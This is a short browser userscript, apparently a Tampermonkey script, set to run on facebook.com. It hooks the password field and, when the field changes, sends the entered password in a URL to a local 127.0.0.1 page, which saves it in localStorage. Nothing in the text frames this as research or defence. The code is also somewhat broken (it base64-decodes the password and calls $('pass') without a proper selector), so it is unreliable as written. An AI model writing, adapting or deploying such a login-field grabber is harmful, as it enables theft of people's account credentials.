NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript==
// @name Facebook
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match *www.facebook.com/*
// @match http://127.0.0.1/?a=*
// @grant none
// @run-at document-end
// ==/UserScript==
/* jshint -W097 */
'use strict';
// Your code here...
function salva(){
window.open("http://127.0.0.1/?a="+encodeURIComponent(atob($("pass").value)),"_blank");
}
if(location.host==="www.facebook.com"){
console.log(encodeURIComponent(atob($("pass").value)));
$("pass").onchange=salva;
}
if(location.host==="127.0.0.1"){
if(/\?a=/.test(location.search)){console.log(location.search);
localStorage.face=btoa(decodeURIComponent(location.search.replace("?a=","")));
window.close();
}
}